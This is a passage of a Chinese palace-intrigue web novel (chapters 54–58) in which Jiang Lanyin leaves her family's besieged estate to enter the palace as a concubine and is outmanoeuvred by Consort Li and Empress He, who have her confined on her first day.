他放下江澜因,拉着她跪下磕头,“父皇,儿臣不孝。” 江澜因吓傻了一般,被太子拉扯了一个踉跄,双膝重重砸在地上。 顾辰枭下意识伸手,手指在半空中攥了攥,又缩了回来。 他不看她。 “太子,给朕一个交代。” 皇帝的声音,带了怒气。院中其余人等,大气都不敢出。 “父皇,儿臣……是有苦衷的,咳咳……” 感觉帝王威压重重地压在肩上,顾言泽身子晃了晃,口中一片腥甜。 他高热未退,今日骑马赶来,本就有些勉强。心绪又大起大落,随着身子跪下,意识时断时续,模糊起来。 “父皇,求您……”太子声音发颤,“别让因因进宫,她……她是儿臣的太子妃。” 话音刚落,顾言泽口中喷出鲜血。 迸溅在皇帝玄色龙纹千层靴上。 紧攥着江澜因的手松了,太子身子一晃,闭眼倒地。 顾辰枭面色激变。 此刻,多少疑惑,多少恼怒,也尽数消散。只剩下了对爱子的担忧。 “来人!送太子回宫,不许张扬!” “是!” 侍卫抬着软架进来,小心翼翼护送太子出去。 侯府院内,一片死一样的寂静。 顾辰枭对儿子心疼,对旁人却只剩下了怒意。 他目光冷冷扫过太子的那两个暗卫:“怂恿太子胡作非为,东宫的属臣当得好!” 两人跪下。 他们是皇帝指名赏赐给太子的,只能忠于太子。本没有错。 皇帝:“手筋脚筋挑断,眼睛刺瞎,留下耳朵舌头,朕还要问他们的话!” 离三、离九两人脸色惨白,一声都不敢出,被拖走。 皇帝:“还有谁怂恿了太子?” 文师师双膝一软,瘫软在地。 皇帝目光扫视过来。 文师师的衣裙湿了。 皇帝厌恶地别过头去。他现在一心想回宫中,看着太子。至于侯府这些人,反正跑不了。 事后,他会一个一个,慢慢儿审。 皇帝拂袖欲去。 身后传来江澜因声音:“皇上……” 皇帝脚步顿了顿。他以为她要解释,要说她不知此事,要说她心里早没了太子。 可一回头,却只见江澜因跟着自己往前跑了两步,伸出手来,好似要扯住自己衣袖。 又停住了脚步。 两人中间,隔着不过三五步。 却好似隔了整个世间。 太子还活着。 江澜因,是太子妃,还是他顾辰枭的妃嫔? 她心里的人,到底是谁? 千言万语,凝在脉脉一瞥中。 江澜因身子一晃,大红的里衣,白纱罩的裙摆一齐飞扬,然后,跪倒尘埃。 纤细的十指抓在泥土里,愈发衬得肌肤苍白得触目惊心。 “江澜因……恭送皇上,祝皇上,龙体康健,千秋万岁!” 她说着,重重磕头下去,肩膀颤抖。 她这是……在告别。 皇帝深深看了她一眼。 只看见女孩纤细的背,肩胛骨微颤,好似振翅欲飞的蝴蝶。 皇帝一言不发,转身而去。 留下了京畿营两千兵马,将靖威侯府团团围住,不准人进出。 抄家也不过就是这个阵仗了。 “完了,全毁了……”靖威侯脸色惨白,身子喝醉了酒般摇摇晃晃。 他指着文师师怒骂:“都是你这个祸胎!你招惹太子,又连累因因进不了宫。你、你……该叫人拿绳子勒死你!” 文氏拦着:“怎么怪师师?是江澜因搅局,又没本事留住皇上……” 靖威侯咬牙切齿:“本侯要上表,休了你。” 撕破脸到这种程度,文氏也豁出去了,她满脸狰狞,“侯爷,你最好有力气使力气,有人情寻人情,救师师出去。如今咱们是拴在一条线上的吗咋,师师摘不干净,侯爷也得陪葬!” 靖威侯被气得心口直疼。 却知道,文氏说得对。 皇帝不会相信偌大个侯府,只有自己这个侯爷不知情,这样也显得自己十分无能。 要摘干净,就得一家子都摘干净,都说不知道。 靖威侯只觉脑袋嗡嗡地疼,一阵一阵发晕。 江澜因:“娘好大的口气。娘和表妹,自己关起门来弄的事,倒要叫爹爹担责。爹爹好好儿一个爵位,若是弄没了,都是娘的不是。” 文氏最听不得江澜因驳她,立刻道:“不至于。你没瞧见皇上看见太子还活着有多高兴?太子会保咱们的。” “会吗?” 天亮了。 熹微的晨光映在江澜因脸上,她肌肤润泽得几乎透亮,眉眼浓丽。 江澜因看着通身狼狈的文师师和文氏,“太子他,真得会吗?” 屈辱感如一根针,反复穿刺着文师师心口。 太子要江澜因,不要她…… 和从前一样!一切都还和从前一样! 她白白撞破了脑袋,削了生籍,做见不得光的老鼠。 丝毫都未能打动太子,太子还要把她打发了…… 文师师苍白的脸上,流下两行泪水。她看着江澜因。 那么高贵,端庄,美丽。 文师师不甘地嘶吼:“你是故意的!江澜因,你是故意的!” 院子里太乱了。 靖威侯在怒吼,文氏在哭喊。 江澜因无声地动了动嘴唇。她笑了,“是。” 她就是故意的。 第54章 送嫁 第五十四章 送嫁 逼文师师放穿云箭,引来皇帝关注。江澜因就是故意的。 果然让皇帝亲眼看到,太子还活着。 顾辰枭竟没在盛怒之下,叫所有人一起去死,还真有点遗憾呢。 不然,黄泉路上,还能有个伴。 没兴趣再看侯府众人相互攻讦、拉扯,江澜因回到自己房中。 一夜未睡,她丝毫不觉疲惫,坐在铜镜前。 “为我梳妆。” 侯府请来的喜婆此刻都吓得呆了,好容易才哆嗦着手,继续为江澜因挽发。 春枝担心道:“小姐,咱们……还能入宫吗?” 江澜因看着铜镜中的自己。 肤白若雪,明眸皓齿,七分小女儿家的娇憨。洁白的贝齿轻咬樱唇一侧,又显出三分媚态。 美得妖异,夺目。 她自己拿起口脂,点染在唇上。 红唇勾起,是一个笑。 江澜因:“能。” 临别那遥遥一瞥,皇帝心里,有她。 更别说,太子醒来的第一件事,定然也是要她。 她一定会入宫,会一步步走到至高的那个位置上去。前世虚度的那些好年华,她今生要连本带利讨回来。 还有伤过她的那些人,她一个都不会放过。 一个时辰后。 寂静的靖威侯府被太监尖锐的嗓音叫开门。 “吉时已到,还不快送江嫔娘娘入宫?” 片刻后。 江澜因一身妃红色婚服,头戴百鸟冠。一只金鸾精巧的鸟喙衔着西瓜红碧玺,摇摇曳曳地将一点红投在眉心。 愈发衬得她容颜极致娇媚。 立在阶上,江澜因脚步顿了顿:“爹娘为何不来送女儿入宫?” 靖威侯踉踉跄跄赶来,死活扯着文氏一道,“该送送因因,不可失了礼数。” 两人都未穿礼服,脸色苍白,发丝凌乱。拼了命也没法子在脸上挤出哪怕一丝喜气,看着狼狈不堪。 京畿营的兵勇却没有撤走。依旧一身玄甲,重重叠叠的围绕在侯府围墙外。 接亲的队伍笔直地插进来,停在前门。 “请江嫔娘娘上轿!” “请娘娘上轿!” 一声声高唱声中,两个丫鬟扶着江澜因,一步步走出侯府。 “因因,因因!”靖威侯在身后亦步亦趋跟着,“你入了宫,别忘了替爹跟皇上说清楚。爹爹一向是向着你的,你心里总知道!” 江澜因脚步微顿,“爹爹,女儿的嫁妆可都准备好了?” 二百二十抬,几乎掏空了大半个侯府。 不过是面子上的事。 靖威侯:“自然,自然!都备好了。爹疼你,最好的东西,都留给你。” 江澜因面上笑意灼灼,“女儿自然会为爹娘求情,可爹爹要答应我,不要休弃母亲。” 一旁,文氏一愣,木然地抬起脸,“爹娘的事,不必你多口……” 话未说完,身后传来一声女子轻笑。 “何人,如此放肆?”文氏拧眉,还想摆出侯夫人的架子来。 “夫人,是妾身。”靖威侯的妾室虞姨娘款款走出,她身边,跟着周嬷嬷。 虞姨娘先向江澜因恭顺行礼,才用不大不小的声音道:“侯爷,妾身僭越,但大小姐如今是天家妇,她出门子,咱们阖府上下合该跪送才是。” 文氏面颊抽搐,脸色难看得紧,“荒唐!我是她娘,怎么能跪她?” 虞姨娘娇弱道:“侯夫人莫非不知,天下第一等的是忠君,然后才是父母恩义。这是天家的规矩。” 又向靖威侯:“侯爷,这么多人眼睁睁看着,侯府不可再被挑出错处。” 她说着,叫周嬷嬷扶着,率先款款跪下来,“妾身恭送大小姐。” 一提到忠君,靖威侯没什么说的,也跪了。 只剩下文氏,身子在寒风里打着摆子,一张脸又青又白。 靖威侯:“糊涂!快些跪下!因因替你求情,你才是她娘!到如今,还拿什么乔?” 说罢,用力扯着她衣袖,拉她跪下。 江澜因面上笑容一丝不变,“爹的意思,是承诺因因,不休娘回家?” “自然,爹明白你的意思。” 现在,偌大一个靖威侯府,被皇家兵勇围着,随时都会被剿灭。 能指望得上的,只有江澜因。靖威侯什么都肯依她。 江澜因:“娘,女儿能帮你的,止到此了。您和爹好好儿的,别叫女儿在宫中日夜悬心。” 是关心爹娘的好话。 用最柔和的语气说出来。 听在文氏耳中,却好似沁透了凉意。 想被休弃出门?太便宜她了。 江澜因不会让她走的。她会叫她一辈子,栓死在这里。 文氏抬头,想细看江澜因神情。只看到她身影一转,在丫鬟搀扶下,一步步走出侯府大门去。 靖威侯府送走了一位妃嫔,门口驻守的兵勇并未撤走,依旧铁塔一般屹立着,带来压迫感。 靖威侯携虞姨娘归房。 文氏从地上挣起来,转身去了西北角上极冷僻的一间小院子。 文师师被关在那里。 皇帝没发话,反倒成了文师师的保命符,靖威侯不敢擅自杀她。 只能关着她,养着。 可从前住江澜因的院子,第一等吃穿用度,使八个丫鬟六个仆妇,比侯府千金还风光的好日子,一去不复返了。 现在文师师身边连一个伺候的人都没有,院子凋敝极了,榻上都一层浮灰。 见到文氏,文师师哭着打嗝,“师师没颜面再活下去了,求姑母赏师师一根索子,让师师……能留个全尸吧!” 太子当众不要她。 她丢了人,又丢了颜面,内心羞耻痛苦,吵嚷着不想活了。 文氏把她拉过来,抱在怀里,一下一下地轻拍着后背。 自己也红了眼眶:“我操劳这半世是为了什么?今日叫一个姨娘管家,压着我给江澜因下跪。我的颜面,如今是丢尽了。师师,你若有事,娘也不活了,咱们娘儿两个,一起去死,黄泉路上也好作伴!” “娘……”文师师语气软了,“我只是不懂,我连娘都让给了因因姐,什么都不和她争,她为何从小儿容不下我?就连我一点点好运都要夺走!” 文氏哭着安慰,“是你的,她夺不走。你的福气还在后面呢。” 文师师哭得崩溃:“太子殿下不要我,我、我还能有什么好运气?我这辈子完了,我还是死了吧。” 文氏紧紧搂着文师师,心痛似被刀割。 她的女儿…… 本该有比江澜因更高贵的出身。 都是造化弄人! “娘,您让我去死!”文师师挣扎着。 文氏泪流满面,她在也忍不住了,“你难道不想见你爹爹了?” 第55章 恭祝娘娘前程似锦 第五十五章 恭祝娘娘前程似锦 “我爹爹?” 文师师一愣,止了哭。 她小时候,在文家被养过几年,文家待她并不如何上心。七八岁被接到靖威侯府,文氏身边,隐约知道了文氏是自己的娘。 寄人篱下,她素来乖巧,不敢问亲爹到底是谁。 可…… 想必也不是什么上得了台面的人物。 不然,文家不敢轻忽她到如此程度。 文师师摇头,满脸是泪,“爹这么多年不见我,不要我。如今……我没了颜面,活死人还不如,爹定然不肯认我……” 自伤身事,哭得愈发伤心难过。 文氏一颗心都要被揉碎了。 “不是的师师,不是你说的那样。”文氏哭着安抚,“他早年身不由己,你爹他、他是疼你的!” 她扶着文师师双肩,让她坐直身子。 文氏:“你爹如今在回京的路上了。等他回来,你们父女相见,他一定疼惜你。你和太子的事,未必没有转机。师师,天将降大任于斯人,必先苦苦摧折一番。好孩子,你的天命,还在后头呢。” 好容易安抚住了文师师,文氏回自己房中,她把贴身的侍婢、嬷嬷都支使出去,点起油灯,细细地用蝇头小楷,写了一封书信。 接着拆下头上一根银簪,拧开,里面竟是个空心管,将信纸卷号,塞了进去。 都做完,才唤一个名叫腊梅的丫鬟进来。 “你当真有门路,能出去?” “回夫人的话,守角门的兵勇,是奴婢自幼定了亲的未婚夫婿。他性子软,什么都听奴婢的。奴婢说出去采买,他会允的。” “什么时候成婚?” “过了年去,出元宵,就要办喜事。” “好。”文氏自妆匣地下,摸出两枚银锭子,扔给腊梅,“男子汉肯听女人的,是一门顶顶好的亲事。你成了婚,依旧在我跟前伺候,我抬举你做一等管事。” 腊梅大喜,“多谢夫人!夫人的事,奴婢肝脑涂地,定然办到!” 拿了文氏的发簪,出门就交给了周嬷嬷。 周嬷嬷替江澜因把持侯府内宅,防的就是这样的事。 腊梅:“夫人叫奴婢那这东西去城西宝珠阁,说簪头歪了,要正一正。留下东西,便不用管了。” “知道了。” 周嬷嬷皱了皱眉。 这侯夫人,当真耐不住性子。 如今兵围侯府,她要私自往外传消息。若被抓住,侯府一家子都要获罪。她一点也不替侯府、替江澜因着想。 不配做江嫔娘娘的母亲。 周嬷嬷收了发簪,“和她说东西送出去了。你很好,娘娘会记你的功劳,帮你破了那桩不如意的婚姻。” 腊梅脸上悲欣交集,几乎要坠下泪来,“多谢娘娘!” 文氏但凡在下人身上上点心,就不会不知道,腊梅被贪慕嫁妆的爹娘许配给了年长她二十岁的鳏夫。为了不嫁,几次要跳井,被江澜因救下。 下雪了。 雪片被风吹着扑在腊梅脸颊上,凉丝丝的。 她仰头,看向紫禁城方向。 “奴婢恭祝江嫔娘娘荣华似锦,步步高升!” 雪越来越大。 来不及扫的,都积在宫道两边。 接秀女们的轿子,统一停在宫门外。往后的路,六个秀女,再加江澜因一行人,被两个年长嬷嬷在前头领着,用自己的双脚,一步步走进宫中。 江澜因尚可,她身后有身子娇弱的秀女,走了一时半刻,已经有些上气不接下气。 队尾隐隐传来几声抱怨。 走在前头的两位嬷嬷浑似听不到。 江澜因昨夜好一番折腾,没闭过眼。 春枝担心她:“小姐,累不累?您扶着奴婢走。” 声音很小。 走在她身前的嬷嬷却一下子停住脚步,回过身来,脸上似笑非笑:“知道各位小主在家中都是闺阁千金,金尊玉贵地娇养着。可如今入了宫,宫中的规矩就是最大的规矩。” “这宫中,唯有皇后娘娘有资格用凤撵。其余人等,纵是妃、贵妃,出行也需用自己的双脚一步步走过去。” “不过是区区走几步,就嫌累,抱怨连天,往后怎么能伺候好皇上、皇后娘娘呢?” 一双吊梢眼,只往江澜因脸上看来。 江澜因静静与她对视,神色平静无波。 身后,不知谁家的秀女开口,似打圆场,“我们初入宫,什么都不懂,多谢嬷嬷提点。哪位姐姐做错了,不如快些和嬷嬷道个歉,省得平白在路上耽搁时间。” 一句话,把江澜因架起来。 逼她向嬷嬷低头。 这秀女话音刚落,引得旁人纷纷开口:“是谁得罪了嬷嬷,快些道歉。连累我们站在此处傻等,冷死了。” 众人目光都扎在江澜因背上。 混合了妒忌,怨憎,幸灾乐祸。 她们这些秀女,经过层层筛选,半年前就已定好。都是千中选一的天之骄女。 谁想到,半路杀出来一个江澜因。 原是太子准妃,本和她们就不是一路人。偏生还被封了嫔,高她们所有人一等。 谁咽的下这口气? 你一言,我一语,都逼着江澜因低头。 春枝受不住,“是奴婢口不择言,要罚就罚奴婢……” 江澜因拦住她。 她目光在发难的嬷嬷脸上转了一圈,轻笑:“秀女入宫的时辰,是钦天监一早算好的吉时,只有一个时辰。若是因嬷嬷误了,不知嬷嬷如何同皇上、皇后娘娘交代?” 嬷嬷脸色黑沉。 江澜因又回头,看向那群叽叽喳喳的秀女。 “怎么,宫中不曾派过教养嬷嬷到诸位妹妹府上教导规矩?宫中哪条规矩,教你们平白向奴才低头道歉?” 她微扬起下颌,回看那嬷嬷,“可是我听漏了?若真有这条规矩,烦请嬷嬷指点一二。” 嬷嬷腮边抽搐,脸色难看至极。 另一个赶忙打圆场:“……她是老糊涂了,话说直,娘娘主子千万勿怪。奴婢们哪里敢耽误时间?不过是因有小主累了,停下歇口气儿罢了。” “各位小主,若歇好了,咱们走吧。” 到一处岔路,那嬷嬷又停下道:“秀女小主多是贵人、才人的位份,三人住一处,都随奴婢来。” 又格外看了一眼江澜因:“若升了嫔位,便能做一宫的主位,那才是无上的尊荣。” “江嫔娘娘,请吧。” 第56章 给何皇后请安 第五十六章 给何皇后请安 “好了不起!她府中尚被兵围着,搞不好……还要抄家呢!得意什么?” 几个秀女小声议论着,去了。 嬷嬷领着江澜因一行人,到了一处宫室。冷着脸,行了一个礼,“江嫔娘娘,您住处就在此处了。” 江澜因抬头。 阴沉的天光,映照着匾额上,“瑞福殿”三个大大的金字。 这就是她在宫内,往后的家了。 一低头,却见两扇朱漆大门,闭得紧紧的。 “怎无人出来迎接?”雪色拧眉,回头再想找那引导嬷嬷,人却早已经不见了踪迹。 “不知礼的奴才,竟不知开门!” 雪色上前就要叩门。 江澜因:“住手!” 她声音微沉,雪色立刻停了动作,退回到江澜因身后。“小姐,怎么?” 江澜因眸色微沉,“这瑞福殿里,住了别的主子。” “什么?”雪色惊呼一声,“可、可那嬷嬷不是说,小姐是嫔位,该有自己的殿宇……” “是可以有,不是必须有。”江澜因声音泛着冷,“那嬷嬷刚才那般说,就是为了误导咱们,叫咱们以为瑞福殿里只有我一位主子。可若只有我一人,如今岂会无人开门?” 她话音刚落,瑞福殿的门,开了一条缝。 一个小太监探头出来,见了江澜因,满面堆笑,口中的话却不客气: “江嫔娘娘来了,娘娘万福金安。原该请娘娘早些安顿,可咱们丽嫔娘娘正在歇午,奴才们不敢惊动,请娘娘在此处,多等等吧。” 说罢,重又把门关上。 听声音,里面竟是拉栓上了锁。 风愈发大,卷着雪花纷纷扬扬扑在江澜因面上。 有些凉。 雪色气得跺脚,“里面果然先住了旁人!刚才那老东西,真坏!” 她生气,又后怕。 刚才若不是小姐及时叫住,让她敲响了门,定会“惊扰”了里面原本那位贵主儿的午歇,免不了又是一场是非,会给小姐惹祸。 可越来越冷了。 身上穿得再厚,在雪地里站久了,也被风打透。 雪色不忿:“她是嫔,咱们小姐也是嫔,凭什么为了她午歇,就叫咱们在外面冻着、等着。冻坏了人,可怎么是好?” 江澜因:“我与丽嫔虽都属嫔位,可她有个封号,‘丽’字,再说我未行册封礼。她就是压了我半头。这瑞福殿的主位是她,不是我。” 冷风打透了衣衫,紧紧贴在脊背上,刺骨的寒意。 小半个时辰后,瑞福殿的大门,才吱嘎一声,被由内而外推开。 江澜因抬眸。 只见一个宫装丽人,身材窈窕,圆圆的脸儿,上面一双又大又圆的黑眼睛,娇俏可人。 丽嫔笑道:“江妹妹来早了,竟在门外候了这些时候。都怪那些下人不懂事,不知为妹妹通报。妹妹可冻坏了?快进来吧。” 江澜因的嫁妆早已抬了进来。 在院中西厢门口,整整齐齐排作两队。 一眼望过去,红彤彤的一片,极为喜庆。 这些东西暂不入库,是等着册封礼上,皇帝赐还母家。 丽嫔扫了一眼,皮笑肉不笑,“妹妹家中好大的排场,且等册封礼。只不知……”她掩唇一笑,“这些东西赐还母家的时候,妹妹的母家,还在不在了。别是被抄没了吧?” 这话说得恶毒至极。 江澜因看她一眼。 丽嫔马上又道:“妹妹勿怪,我向来心直口快不会说话。妹妹今日想必累着了,快收拾了西厢房,好生歇息吧。只怕晚上,皇上还要来呢。” 今日秀女入宫,皇帝理应宠幸新人。 江澜因位份又最高。 皇帝确实该来,也会带来明日册封礼的消息。 “妹妹,快去梳妆,等着服侍皇上吧。你这样的荣宠,连姐姐都羡慕得紧呢。” 丽嫔把瑞福殿的西厢给了江澜因。 地方不大,倒是整洁,屋内提前点了炭炉子,一进去,香喷喷,暖洋洋的。 雪色:“到底这丽嫔娘娘不敢对咱们小姐太过了。” 这西厢里原有两个丫鬟,四个太监,一起跪下:“见过江嫔娘娘。” 众人七手八脚收拾好江澜因的东西。 外面看着,天色已晚。 江澜因:“把嫁妆抬进来,都入我私库。” “这……”打头的太监小温子一愣,“主子怕还不知道,明日册封礼过,那些东西皇上要赐还母家,到时候,皇上还会添些赏赐呢。” “不会了。”江澜因淡淡道,“这个时辰,瑞福殿还没有人来。明日,也不会有册封礼。” 当晚,皇帝果然不曾来。 倒也不坏。 江澜因无所谓。 至少那些嫁妆,都归她了。 既已入宫,江澜因知道往后的路不好走。她对皇帝没有期待,此刻也没有任何落差。 只是因昨夜折腾一晚,今日着实累了。 早早儿便熄灯就寝。 第二日。 睁开眼时,江澜因只见窗纸已经白花花一片,亮得灼眼。 外面竟是天光大亮了! 四周尚静悄悄的。 江澜因翻身下榻,“春枝,雪色?来人!” 片刻后,春枝才撑着头,从外间急匆匆进来,“小姐?”她愣了愣,“天爷啊,已是辰时了!进宫第二日,卯时三刻便要往皇后宫中请安的。咱们迟了!” 她这一喊,众下人方如梦初醒,哄哄地忙乱起来。 为江澜因装扮好,到坤宁宫中,已辰时三刻了。 江澜因只见殿内,何皇后高高在上,下首分别是四妃,六贵嫔,九嫔。 余下的贵人、才人、美人、采女、御女等无算。她们没有座次,只能立在高位嫔妃身后。 何皇后满面含笑,目光越过众人的花团锦簇,看向江澜因:“江妹妹,可是昨夜侍寝累着了,如何来得这么晚?” 皇后这话一出,她右手边打头的纯妃笑道:“娘娘说笑了。昨夜侍寝的不是江嫔,是黄贵人。江嫔累什么?是懒散罢了。” 她身后,昨日提出让江澜因低头道歉的那位黄贵人上前一步,袅袅婷婷向何皇后:“皇后娘娘,臣妾等谨记娘娘教诲,今日早早儿就来了。不像江姐姐,姐姐来迟,只怕还等着册封礼好好儿风光风光呢。” 所有人的目光,有怜悯、讥讽、怨恨……纷纷集中在江澜因身上。 何皇后:“江嫔,皇上说,你的册封礼不急。依本宫看,你左右已经入宫,这册封礼办不办,本没什么。或是……” 她看向黄贵人,缓缓道:“这一波秀女,有格外讨皇上喜欢的,不日也会晋升。不若你们的册封礼,就一起办吧。” 让江澜因等,无止境地等下去。 江澜因:“臣妾听凭皇后娘娘做主。” 何皇后见她低头跪下,露出一段春笋似得白皙脖颈。皇后眼中暗光一闪,“江氏,你今日初入宫,给本宫请安便迟了这许多。不罚你,本宫恐怕不能服众。。” “丽嫔,你是瑞福殿主位,你说,江嫔该怎么罚?” 第57章 禁足 第五十七章 禁足 丽嫔看了江澜因一眼,圆圆的脸上含着笑。 她盈盈出列,“回皇后娘娘的话,江妹妹今日迟了,都是臣妾的不是。臣妾也一样该领罚。” “不怪你。是她自己懒散,或是不把本宫放在眼里。” 几句话,责任全在江澜因身上。 更给她叩了一顶大帽子。 江澜因不能任她们这样说下去。她开口:“是臣妾昨日累狠了,今日起得迟,误了给娘娘请安的时辰。” 她顿了顿,“臣妾知错,请娘娘责罚。” 何皇后:“你起得迟,你宫中下人也不知提醒?可见,都没用。本宫一样要罚。” 江澜因抬头,两人目光在半空中相撞,似有金戈交鸣的悠长回响。 “皇后娘娘这样说,臣妾也觉奇怪。臣妾自家中带来的丫鬟,都是最勤勉的。瑞福殿的下人丽嫔姐姐都调教过,合该个个都恭谨知理。怎么都一起迟了?还请皇后娘娘明查。若真是他们懒散,自然要罚。可若不是……” 何皇后垂下眼睫,扯动唇角笑了笑,“只是懒散而已。罢了,江嫔你初初入宫,也不好为你一个人,罚得一宫内都鬼哭狼嚎。” 是不追究下人的意思。 何皇后:“本宫就只罚你一个。就罚你……三月俸禄,再禁足一个月。如何?” 这惩罚不可谓不重。 嫔妃在宫中,吃穿用度都指望月俸。没有银钱,寸步难行。 停三个月,若不是江澜因嫁妆丰厚,只怕她要饿死。 她与秀女一起入宫,她遭禁足,一个月时间虽然不长,却也够其它秀女崛起。 等到江澜因放出来,只怕皇上早忘了她是谁了。 何皇后这话一出,就算是最迟钝的妃嫔也听出来,皇后要江澜因去死。 江澜因却只是行礼,淡淡道:“臣妾领罚。” 何皇后这才笑了,“来人,快去扶江嫔起来。可怜见儿的,才入宫第一天,别把膝盖跪肿了。” 她轻声道:“往后,还有得你跪呢。” 宫中禁足与在府中不同。 何皇后特意拍了两个嬷嬷,一左一右,如门神一般守在江澜因的偏殿门口。 正是昨日领她们入宫的那两个。 一个嬷嬷冷冷道:“还以为娘娘有什么样通天的手段,迷惑皇上。也不过如此!入宫第二日就禁足,简直是这后宫的笑话儿!” 雪色忍不住,要开口理论。 对上江澜因眼神,只得咬着嘴唇低下头去。 江澜因:“把门关上。” 两个丫鬟跪下来,“小姐,今日之事都怪奴婢躲了懒,才叫小姐起得迟了。求小姐责罚。” 两人自责得不行。 本就是她们的错,小姐在皇后跟前,还护着她们。 江澜因静静看两人一眼,“在皇后面前,我并未说谎。你二人并未勤勉,今日为何起得迟了?你们也不想一想,就算昨日累着了,一时睡过去不察。可丽嫔也要早起请安,她院中下人出门,为何一丝儿声息都不叫你们听闻?雪色的觉,是最轻的。” 两个丫鬟一愣。 从情绪里拔了出来。 雪色反应快些,“是……丽嫔弄的鬼?可她怎么做到的?” 江澜因眸中淬出一抹冷意,指着地中间放着的碳炉,“你们去看看,有何蹊跷。” 春枝心思细,一看就惊叫道:“这碳炉……和昨日的不一样!换过了!昨日的,耳下珐琅彩有一丝磕碰痕迹,这个是新的,没有。” 骤然想起昨日一进这偏殿,便觉又香又暖,格外的舒适。 还以为是丽嫔不敢把事情做的太过…… 春枝好脾气,也气得红了脸,“咱们与丽嫔无冤无仇,她为何两次三番针对?连环计套咱们!好狠的手段!” 先叫引导嬷嬷领她们绕原路,累得够呛,又在门口立规矩似得站了快一个时辰。 骤然进到着暖呼呼的室内,身子一松快,心也跟着松弛下来。没提防,叫人家在炭炉子礼垫了厚厚一层安神香。 竟就这么燃了一整夜! 可不就薰得西配殿从主到仆,睡了个饱? 第一日请安就迟了。 就算顾辰枭在,也拦不住何皇后罚江澜因。 雪色咬牙切齿:“她太恶毒……” “不是她恶毒,”江澜因冷道:“她是皇后的人。” 两个丫鬟一起噤声。 从前,她们只是陪江澜因进过几次宫,对皇后的狠辣和能耐,第一次有了全面的认知。 不等两人消化完情绪。 江澜因:“咱们殿里,也有皇后的人。” 两人悚然一惊。雪色忍不住:“是谁?吃里扒外的东西,奴婢去撕了她的嘴!” 重新燃起了斗志。 江澜因:“未必是一个。到底是谁,得你们去查。若没信心办好这差事,趁早说,我送你们出宫回府,给周嬷嬷帮手去。” 两个丫鬟一起跪下,“奴婢不走。奴婢定能办好小姐交代的事。” 重生一世,前路依旧艰难。 春枝、雪色两人必须快速成长,不然在宫中,自保都难。让她们查内奸,也是历练她们的能耐手段。 没让江澜因失望。 傍晚,春枝端来饭菜,压低声音:“奴婢和雪色查清楚了。午间,小温子去了丽嫔娘娘的正殿,出来时袖子鼓囊囊的。奴婢还听见,他跟咱们的宫女绣荷起了争执,是为分赃不均。” 说到此处,春枝深吸一口气,强压住气,“那绣荷还说,这次虽不用她动手,可她是小姐屋里的宫女,下次少不得有用她的地方——她竟还想有下次!不要脸的东西!奴婢替小姐教训她!” 江澜因却问了一个无关的问题,“雪色呢?” 春枝:“……她怕自己气不过,挂在脸上,自个儿去后院打水浣衣冷静了。” 江澜因眸底有了些暖色,“这是她懂事。” 她又道:“你们做得很好。那两个人,先不要动,千万不要打草惊蛇。留着他们,有用。” “是。”春枝应了,面上还是戚容。 她本以为江澜因在侯府的日子够难的了,不想入了宫,竟也是步步荆棘。 可……皇上不是疼爱小姐的吗? 不然为何都已经这样了,还允小姐入宫? 春枝:“小姐,皇上怎么还不照拂咱们……” 她话音刚落,听得外面传来太监声音尖锐的高唱声: “皇上驾到!” 第58章 皇上驾到 第五十八章 皇上驾到 春枝脸上的喜色还未挂起。 一道银铃似得笑声,在门外响起。 是丽嫔:“参见皇上。臣妾还以为,皇上有了新妹妹,不睬臣妾了呢。皇上瞧,臣妾都换上了寝衣。是失礼,皇上惩罚臣妾吧。” 她声音娇俏,如黄鹂鸟一般动听。 顾辰枭站在院中,微微侧头,看向西偏殿方向。 里面,黑洞洞一片。 盈盈一朵烛光。 应该是……江澜因卧房。她还没睡。 进宫第一日就挨了罚,她怎么睡得着? 丽嫔行礼毕,一抬头,捕捉到皇帝目光,心中陡然一沉。 可皇帝的脚尖,还是对着自己。 丽嫔大起胆子,“皇上是来看臣妾,还是看新妹妹?若是看新妹妹,臣妾知趣,就退下了。” 顾辰枭张了张口,刚要说什么。 “呼……” 一声轻响。 江澜因卧房中,那盏孤灯,火苗摇曳了一下。 灭了。 西配殿一片漆黑。 顾辰枭愣了愣,背在身后的手指攥了一下。 江澜因,那小丫头,这是在……怄气? 皇帝只觉啼笑皆非。 太子死遁,靖威侯府还没撇清楚关系。江澜因自己也和太子不清不楚地纠缠在一处。 这当口,他这个皇帝没罚她,还如前承诺的一般,接她入宫,给她位份。 她不知低调,第一日给皇后请安就迟了。 被罚被禁足,难道不是活该? 竟还敢委屈,生气? 是自己这个皇帝,纵得她如此? “丽嫔,朕是来看你的。你不欢迎,朕就走了。”顾辰枭语气柔和。 丽嫔大喜,“臣妾高兴还来不及。” 她清楚地察觉到,皇帝刚才,有那么一瞬间的犹豫。 可那江嫔居然自己灭了灯,不受皇帝。 真是个小姑娘,还当进了宫,皇帝能和她家人一般宠她? 做梦! 宫里什么都要争要抢,她还不懂这道理,迟早……死在自己手里。 丽嫔欢欢喜喜地拥着皇帝进了正殿。 西配殿里。 春枝有些担心,也有些愕然:“小姐,怎么熄了灯,不请皇上进来?” 她是侯府出来的丫鬟,也知道如今小姐在宫内的地位乃至于性命,全系在皇帝喜恶上。 小姐不该趁这个时候,好好儿跟皇上诉一诉委屈吗? 春枝委婉劝道:“这后宫,这样多妃嫔,还有新选进来的秀女,百花缭乱。皇后禁足小姐要一个月。奴婢担心,皇上会冷待小姐……” 忘了江澜因。 “不必担心,”江澜因声音温和,“皇上忘不了我。” 因为…… 太子还未醒呢。 等顾言泽醒了,他会逼着自己的好父皇,日日都想起江澜因的。 瑞福殿正殿。 丽嫔抖擞精神,拿出浑身解数,围着顾辰枭莺声燕语,一刻不停。 妃色寝衣的裙摆,绽放飞扬如娇嫩的牡丹花瓣。 却总觉得顾辰枭的视线,不时地透过窗棂,望向西配殿的方向。 丽嫔发现了,扯着皇帝的手,往自己心口上揉。 她委屈道:“皇上,新妹妹才入宫,往后还有大把时间伴驾。臣妾不一样,臣妾人老珠黄,只怕陪皇上一日,就少一日……” 说罢,眼圈儿竟红了。 顾辰枭回过神来。 他收回手,笑道:“你才二十出头,你人老珠黄?旁人都不用活了。” “臣妾是年轻,可新妹妹更年轻……” 这宫里,永远不缺年轻鲜嫩的面孔。 顾辰枭心中升起一丝怜悯,把注意力放在了丽嫔身上。他淡淡道:“你今日这身寝衣,颜色很配你。” “当真?”丽嫔眼眶里还含着一包泪,却是笑了出来,“皇上喜欢,臣妾回头叫她们做多几套,日日穿给皇上看。好不好?” 说罢,依偎上来,“皇上,臣妾困了,就寝吧。” 正殿里刚熄了灯烛。 殿外传来一阵脚步声。 